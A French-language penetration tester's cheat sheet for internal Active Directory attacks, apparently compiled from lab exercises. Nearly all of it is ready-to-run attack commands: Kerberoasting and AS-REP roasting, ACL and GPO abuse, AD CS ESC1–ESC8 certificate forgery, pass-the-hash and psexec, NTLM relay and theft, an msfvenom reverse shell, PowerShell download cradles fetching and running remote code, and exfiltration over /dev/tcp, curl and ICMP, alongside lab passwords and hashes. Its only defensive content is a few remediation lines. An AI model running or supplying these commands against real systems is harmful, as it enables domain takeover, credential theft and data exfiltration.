Notes

🖥️ TI interne

Test d'intrusion interne : AD CS (ESC1→ESC8), BloodHound, roasting, PtH, GPO abuse, Windows PrivEsc, exfiltration.

TI interne

Notes de terrain pour les tests d’intrusion internes Active Directory / réseau (données de lab).

1ère étape – Découverte réseau

sudo nmap -sn -n 10.200.142.0/24 -oA Ping-Sweep
# Port scanning Windows
nmap 10.200.69.30,31,35 -Pn -n -T5
# Pivot SSH
sshuttle -r linux-admin@10.200.108.33 10.200.108.0/24 192.168.100.0/24
xfreerdp /v:za.tryhackme.com /u:kerry.murray /d:thmjmp1.za.tryhackme.com

BloodHound

Collecte via netexec (LDAP) :

nxc ldap $DC_IP -u 'Brandon_Boyd' -p '' --bloodhound -c all --dns-server $DC_IP

Enum ACL

Recherche des objets modifiables (via bloodyAD) :

bloodyad --host 10.129.37.22 --dns 10.129.37.22 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable

Énumération LDAP

ldapdomaindump --user "northbridge.corp\\_svrautomationsvc" --password 'REDACTED' --outdir ldapdomaindump "10.1.235.111"

Domain computers (abus MachineAccountQuota)

# Ajout d'un compte machine via netexec (cache Kerberos)
nxc smb anomaly-dc.anomaly.hsm -k --use-kcache -M add-computer -o NAME="TOMMYPC" PASSWORD='Password1!'

# Lire le quota ms-DS-MachineAccountQuota
bloodyAD -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' -d anomaly.hsm --dc-ip 10.1.111.114 \
  get object 'DC=ANOMALY,DC=HSM' --attr ms-DS-MachineAccountQuota

# Ajouter un ordinateur
bloodyAD -u 'Brandon_Boyd' -p '3edc4rfv#EDC$RFV' -d anomaly.hsm --dc-ip 10.1.111.114 \
  add computer tensai 'Nan2004'

IPC$ / null session → enumération SID

python3 /usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@10.10.55.168 | tee users.txt
grep SidTypeUser users.txt | awk '{print $2}' | cut -d "\\" -f2 > users.txt

# AS-REP roasting sur la liste d'utilisateurs
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip 10.10.100.15 \
  -usersfile users.txt -no-pass vulnnet-rst.local/

# Exemple : t-skid / tj072889*
smbclient -U vulnnet-rst.local/t-skid //10.10.100.15/NETLOGON
# Creds dans un script VBS : a-whitehat / bNdKVkjv3RR9ht
evil-winrm -i 10.10.100.15 -u a-whitehat -p "bNdKVkjv3RR9ht"
python3 secretsdump.py vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.10.100.15
evil-winrm -i 10.10.55.168 -u administrator -H "c2597747aa5e43022a3a3049a3c3b09d"

Kerberoasting aveugle (blind kerberoast)

GetUserSPNs.py -no-preauth t.spivey -usersfile valid_users.txt -dc-host 10.0.30.244 tri.lab/

Exploit krb5.keytab

kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM
klist
export KRB5CCNAME=/tmp/krb5cc_1000
nxc smb 10.1.111.114 -u Brandon_Boyd -k --use-kcache

Force Change Password

net rpc password "svc_web" 'Welcome2025!@' -U "WELCOME.local"/"i.park"%'Welcome2025!@' -S "10.0.30.32"

Generic All (abus complet sur un objet)

Changement de mot de passe d’un utilisateur ciblé via bloodyAD :

bloodyAD --host "10.1.8.188" -d "DC01.hacksmarter.local" -u "alt.svc" -p "REDACTED" \
  set password "yorinobu" "newP@ssword2022"

T1558.003 – Targeted Kerberoasting (moins bruyant que le changement de mot de passe)

git clone https://github.com/ShutdownRepo/targetedKerberoast.git
./targetedKerberoast.py --dc-ip '192.168.1.8' -v -d 'ignite.local' -u 'nishant' -p 'Password@1'

Variante PowerView (Windows) : positionner un SPN sur la cible, demander le TGS, puis cracker hors-ligne avec Hashcat.

T1110.001 – Changement de mot de passe (plusieurs méthodes)

# Linux net rpc (Samba)
net rpc password vipin 'Password@987' -U ignite.local/nishant%'Password@1' -S 192.168.1.8
# bloodyAD
bloodyAD --host "192.168.1.8" -d "ignite.local" -u "nishant" -p "Password@1" set password "vipin" "Password@9876"
# rpcclient
rpcclient -U ignite.local/nishant 192.168.1.8   # puis: setuserinfo vipin 23 Ignite@987
# Windows net
net user Vipin Password@1234 /domain
# PowerView
Set-DomainUserPassword -Identity 'vipin' -AccountPassword $NewPassword

GenericWrite → Targeted Kerberoast / Shadow Credentials

python3 targetedKerberoast.py -v --dc-ip 10.0.27.56 -d hacksmarter.local -u yorinobu -p 'Password@987' --request-user soulkiller.svc
# Shadow Credentials (écriture sur msDS-KeyCredentialLink) via Certipy
certipy shadow auto -u 'yorinobu@hacksmarter.local' -p 'newP@ssword2022' -account 'soulkiller.svc' -dc-ip 10.1.8.188

Backup Operators (locally)

impacket-reg ghill_sa:'P@ssw0rd!'@10.1.217.65 backup -o 'C:/users/ghill_sa/desktop'

Templates AD CS (rappel)

certipy-ad find -u 'svc_ca' -p 'Welcome2025!@' -dc-ip "10.0.30.32" -vulnerable -enable
nxc ldap anomaly-dc.anomaly.hsm -k --use-kcache -M certipy-find
# ESC1
certipy-ad req -u 'aarti@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC1-CA -target 'dc.ignite.local' -template 'Custom_ESC1' -upn 'administrator@ignite.local'
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.48

CA volée → Golden Certificate

certipy ca -backup -ca "tri-CA" -username "m.pearson@tri.lab" -password "REDACTED" -dc-ip "10.0.30.244" -target SWIM-SRV
certipy forge -ca-pfx "CA.pfx" -upn "administrator@corp.local" -subject "CN=Administrator,CN=Users,DC=CORP,DC=LOCAL"
certipy forge -ca-pfx tri-CA.pfx -upn j.reed_adm@tri.lab -sid S-1-5-21-542797205-3952052766-1175187200-1109
certipy-ad auth -pfx j.reed_adm_forged.pfx -ldap-shell -dc-ip 10.1.220.10

Le détail complet ESC1→ESC8 est documenté dans la section AD CS ci-dessous.

AD CS – Énumération et exploitation (ESC1 → ESC8)

Énumération de l’infrastructure AD CS

Deux outils : Certipy (Python) et Certify (C#). Ils interrogent LDAP pour cartographier les autorités de certification, les templates et leurs propriétés (droits enroll/autoenroll, contraintes Subject Name, EKU).

certipy find -u "$USER" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable -enable
Certify.exe find /vulnerable

Les résultats peuvent être importés dans BloodHound pour corréler AD CS avec les chemins de privilèges.

ESC1 – Usurpation via SAN arbitraire

Le template autorise le demandeur à définir lui-même le SAN (mspki-certificate-name-flag = EnrolleeSuppliesSubject), avec enrollment ouvert, sans Manager Approval, EKU Client Authentication.

certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -target "$ADCS_HOST" \
  -ca '<CA NAME>' -template 'ESC1' -upn 'administrator@essos.local'
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.pem
certipy auth -pfx administrator.pfx -dc-ip 10.6.10.12

ESC2 – Certificat Any Purpose

Template avec EKU Any Purpose (ou aucun EKU) → certificat passe-partout utilisable comme Certificate Request Agent.

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template ESC2 -ca "$CA-NAME"
certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template User \
  -ca "$CA-NAME" -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx

ESC3 – Deux templates (Request Agent)

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template ESC3-CRA -ca "<CA-NAME>"
certipy req -u "$USER" -p "$PASS" -target "$ADCS_HOST" -template ESC3 \
  -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx esc2.pfx

ESC4 – Permissions faibles sur un template

Détection BloodHound + reconfiguration façon ESC1 :

MATCH p=shortestPath((g)-[:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]->(n:GPO))
WHERE g<>n AND n.type = 'Certificate Template' AND n.Enabled = true
RETURN p
certipy template -u "$USER" -p "$PASS" -template ESC4 -write-default-configuration -dc-ip 10.6.10.12
certipy req -u "$USER@$DOMAIN" -p "$PASS" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ESSOS-CA' -template 'ESC4' -upn 'administrator@essos.local'
# Restauration après test
certipy template -u "$USER@$DOMAIN" -p "$PASS" -template ESC4 -write-configuration <backup-ESC4-file>.json -dc-ip 10.6.10.12

ESC5 – Golden Certificate (compromission CA)

certipy ca -backup -u 'Administrator' -hashes ':<redacted>' -ca 'ESSOS-CA' -target <CA-SERVER-IP>
certipy forge -ca-pfx ESSOS-CA.pfx -upn administrator@essos.local -crl 'ldap:///'

ESC6 – EDITF_ATTRIBUTESUBJECTALTNAME2

certipy req -u "$USER@$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template User -ca ESSOS-CA -upn administrator@essos.local -dc-ip "$DC_IP"
# Remédiation
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

Fortement atténué depuis mai 2022 (KB5014754 / CVE-2022-26923 « Certifried »).

ESC7 – Manage CA (SubCA)

certipy ca -u 'khal.drogo'@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -ca "ESSOS-CA" -enable-template 'SubCA' -dc-ip "$DC_IP"
certipy ca -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -dc-ip 10.6.10.12 -ca 'ESSOS-CA' -add-officer "khal.drogo"
certipy ca  -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -dc-ip 10.6.10.12 -ca 'ESSOS-CA' -issue-request '58'
certipy req -u "khal.drogo"@"$DOMAIN" -p "$PASS" -target "$ADCS_HOST" -template SubCA -ca ESSOS-CA -dc-ip 10.6.10.12 -retrieve '58'

ESC8 – NTLM Relay sur Web Enrollment

certipy relay -target http://10.6.10.23 -template 'DomainController'
nxc smb <DC-IP> -M coerce_plus -o LISTENER="$ATTACKER_IP"
certipy auth -pfx domain-controller.pfx -dc-ip 10.6.10.12
secretsdump -just-dc-user administrator -hashes :"<NT_HASH>" "$DOMAIN"/"<DC_NAME>$"@"10.6.10.12"

Remédiation : désactiver le Web Enrollment inutile, activer EPA (HTTPS), désactiver NTLM sur les serveurs AD CS. Voir KB5005413.

GPO Abuse – Privilege Escalation

# Ajoute l'utilisateur "john" aux administrateurs locaux (mot de passe : H4x00r123..)
pygpoabuse.py hsm.local/bbarkinson -hashes :<redacted> -gpo-id "526CDF3A-10B6-4B00-BCFA-36E59DCD71A2" -dc-ip 10.1.50.226 -f
# Nettoyage
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --cleanup

Pass the Hash (PtH)

# Si connexion directe impossible, essayer C$
impacket-smbclient -hashes aad3b435b51404eeaad3b435b51404ee:d5cad8a9782b2879bf316f56936f1e36 administrator@10.1.78.141
# Changer le mot de passe admin via nxc
nxc smb 10.1.217.65 -u administrator -H '<redacted>' --local-auth --exec-method=smbexec -X 'net user administrator Password123!'

PSExec

impacket-psexec administrator@10.0.30.32 -hashes aad3b435b51404eeaad3b435b51404ee:0cf1b799460a39c852068b7c0574677a

SMB sans signature (relais)

nxc smb targets.txt --gen-relay-list nosigning.txt

NTLM theft

# https://github.com/Greenwolf/ntlm_theft
ntlm_theft.py --generate modern --server 10.200.27.253 --filename "bob"

Password Spraying (NTLM HTTP)

Script Python maison (requests_ntlm) qui pulvérise un mot de passe sur une liste d’utilisateurs :

python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/

Reverse shell Windows (msfvenom + SMB)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f exe -o reverse.exe
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe
sudo nc -nvlp 53

Exfiltration (canaux variés)

# TCP socket
tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
# SSH
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
# HTTP
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
# ICMP (metasploit auxiliary/server/icmp_exfil)
ping 10.10.77.97 -c 1 -p 74686d3a7472796861636b6d650a

Évasion AV (powercat / download-cradle)

pwsh -c "iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > /home/$rshell
# ex.bat
START /B powershell -c $code=(New-Object System.Net.Webclient).DownloadString('http://10.8.211.1:9000/shell-49731.txt');iex 'powershell -E $code'

Génération de listes d’utilisateurs

UserlistGenerator — génère des permutations de noms pour le brute-force (compatible Kerbrute).

Windows PrivEsc (résumé des vecteurs)

Vecteurs classiques testés avec accesschk.exe / sc qc :

  • Insecure Service Permissions (SERVICE_CHANGE_CONFIG) → sc config <svc> binpath= "..."
  • Unquoted Service Path → déposer Common.exe dans un chemin non quoté
  • Weak Registry Permissions → écraser ImagePath du service
  • Insecure Service Executables → remplacer le binaire du service
  • AutoRuns modifiables, AlwaysInstallElevated (msiexec /i reverse.msi)
  • Passwords dans le registre / creds sauvegardés (cmdkey /list, runas /savecred)
  • SAM/SYSTEM dans C:\Windows\Repair\creddump7 puis crack Hashcat
  • Pass-the-Hash (pth-winexe), Scheduled Tasks modifiables
  • Token Impersonation : RoguePotato / PrintSpoofer via PSExec64.exe -i -u "nt authority\local service"